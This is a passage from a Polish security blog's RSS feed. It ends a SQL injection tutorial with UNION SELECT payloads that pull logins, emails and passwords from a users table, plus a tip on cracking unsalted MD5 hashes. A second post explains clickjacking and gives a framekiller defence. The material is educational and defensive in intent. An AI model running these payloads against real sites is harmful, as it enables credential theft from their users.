#66cc66;">,</span><span style="color: #ff0000;">'Autor'</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Pozostała część to już jedynie formalność. Należy pobrać odpowiednią ilość elementów z tabeli users.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT users.*,NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> users<span style="color: #66cc66;">.*,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Gotowe! Zamiast artykułów mamy loginy i hasła. Jeśli programista jest początkujący prawdopodobnie nie dodaje soli do haseł a te są kodowane za pomocą MD5. Wystarczy w google pisać „md5 database“ aby szybko znaleźć stronę, która dopasuje odpowiedni ciąg znaków do podanego hasha. Można w ten sposób spokojnie odkodować hasła przynajmniej połowy użytkowników przeciętnego portalu internetowego. Sprawa jest utrudniona, gdy tabela users zawiera np. 15 kolumn. Wtedy odgadnąć trzeba również nazwy pól.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>email<span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>password<span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>login<span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Jeśli strona jest słabo zabezpieczona to prawdobodobnie również nazwy tabel i pól są proste to odgadnięcia. Dla dobrego hakera wszystko jest kwestią czasu. Oczywiście twórca strony może troszkę udziwniać np. umieścić wartość w cudzysłowiach jednak to też mu niewiele da ponieważ wystarczy wpisać:</p>
<pre class="console">http://localhost/hack/sql/?id=1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> users<span style="color: #66cc66;">.*,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users <span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span></pre></div></div>

<p>Oczywiście to nie wyczerpuje tematu i być może kiedyś rozwinę jeszcze temat dziurawych zapytań SQL.</p>
<h3>Jak się zabezpieczyć?</h3>
<p>Najprostszym ze sposobów zabezpieczania się jest użycie <a href="http://pl.php.net/manual/en/mysqli.real-escape-string.php">mysqli::real_escape_string()</a>. Aby uniemożliwić atak wystarczy aby nasz kod wyglądał tak:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Osobiście jednak preferuję filtrowanie wszystkich danych przychodzących wedle własnych wzorców tak aby wykluczyć np. uruchomienie zapytania z ciągiem znaków zamiast cyfr, filtracje kodu html, znaków specjalnych itp. Świetnym rozwiązaniem wprowadzonym w php5 wraz z mysqli jest bindowanie parametrów(podobnie jak to ma miejsce w QT) ale o tym napiszę innym razem.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/155/kilka-slow-o-sql-injection/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ClickJacking</title>
		<link>http://srodek.info/blog/145/clickjacking</link>
		<comments>http://srodek.info/blog/145/clickjacking#comments</comments>
		<pubDate>Fri, 12 Feb 2010 01:04:47 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[ClickJacking]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=145</guid>
		<description><![CDATA[Przez ostatnich kilka tygodni zacząłem interesować się hackingiem bezpieczeństwem stron internetowych. Postanowiłem więc napisać co nieco na temat zabezpieczania stron przed takimi atakami jak np. SQL Injection, XSS. Pokażę równiez metody podglądania kodu źródłowego, lub uruchamiania własnego kodu php na stronach o słabych zabezpieczeniach lub złej konfiguracji serwera. Dzisiaj natomiast w luźny sposób opiszę co [...]]]></description>
			<content:encoded><![CDATA[<p>Przez ostatnich kilka tygodni zacząłem interesować się <del datetime="2010-02-11T15:07:18+00:00">hackingiem</del> bezpieczeństwem stron internetowych. Postanowiłem więc napisać co nieco na temat zabezpieczania stron przed takimi atakami jak np. SQL Injection, XSS. Pokażę równiez metody podglądania kodu źródłowego, lub uruchamiania własnego kodu php na stronach o słabych zabezpieczeniach lub złej konfiguracji serwera. Dzisiaj natomiast w luźny sposób opiszę co to ClickJacking.</p>
<p>Rozpocznijmy od małej gry, którą napisałem przy użyciu jQuery na potrzeby tego artykułu. Polega ona na bardzo szybkim klikaniu w pojawiający się czerwony prostokąt. Dasz radę? <a href=" http://srodek.info/examples/clickjacking/">Zagraj!</a><br />
<span id="more-145"></span><br />
<a href="http://en.wikipedia.org/wiki/Clickjacking">ClickJacking</a> polega na — tłumacząc dosłownie — „porywaniu kliknięć“. Zasada jest prosta. Niewidzialna ramka jest ukrywana pod stroną za pomocą css(a dokładniej z-index). Czeka ona w tle, aż potencjalna ofiara zechce kliknąć w pewne pole na ekranie. Wtedy warstwa ramki przechodzi nad warstwę gry. Użytkownik myśląc, że klika w prawdziwy element w rzeczywistości uruchamia mechanizm z ramki. Brzmi niepozornie? Atak taki wykorzystywany jest na wiele sposobów. Można np. umieścić w ramcę stronę <a href="http://www.facebook.com/#!/settings/?tab=privacy&#038;section=profile">facebook.com</a> oraz odpowiednio sprecyzować pola w które należy kliknąć. Dzięki temu użytkownik zmieni swoje ustawienia dotyczące prywatności umożliwiając kradzież swoich danych osobowych i możliwość przeglądania zdjęć. Wbrew pozorom są setki niezabezpieczonych stron internetowych. Jedną z nich była kiedyś <a href="http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html">witryna konfiguracyjna wtyczki flash</a>. Odpowiednio sprecyzowana strona pozwalała na zmianę ustawieć wtyczki tak aby możliwy był dostęp do kamery internetowej(sic!). Dzięki temu hakerzy mogli nawet podglądać swoje ofiary. Na szczęście Adobe wprowadziło zabezpieczenia, które uniemożliwiają przeprowadzenie takiego ataku.</p>
<h3>Jak się chronić?</h3>
<p>Zwykli użytkownicy mogą zainstalować wtyczkę <a href="http://noscript.net/">NoScript</a>, która chroni przed tym atakiem. W przypadku twórców stron internetowych sprawa jest prosta. Nie wolno pozwalać uruchamiać naszej strony w ramce(tym bardziej, że ramki to już przestarzała technologia). Robi tak GMail, nasza-klasa, o2 i inni.<br />
Kod(tzw. <a href="http://en.wikipedia.org/wiki/Framekiller">Framekiller</a>) jest bardzo prosty:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>top<span style="color: #339933;">!=</span>self<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        top.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #339933;">=</span>self.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>W przypadku uruchomienia strony w ramce strona nadrzędna zostanie przekierowana na stronę w ramce.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/145/clickjacking/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
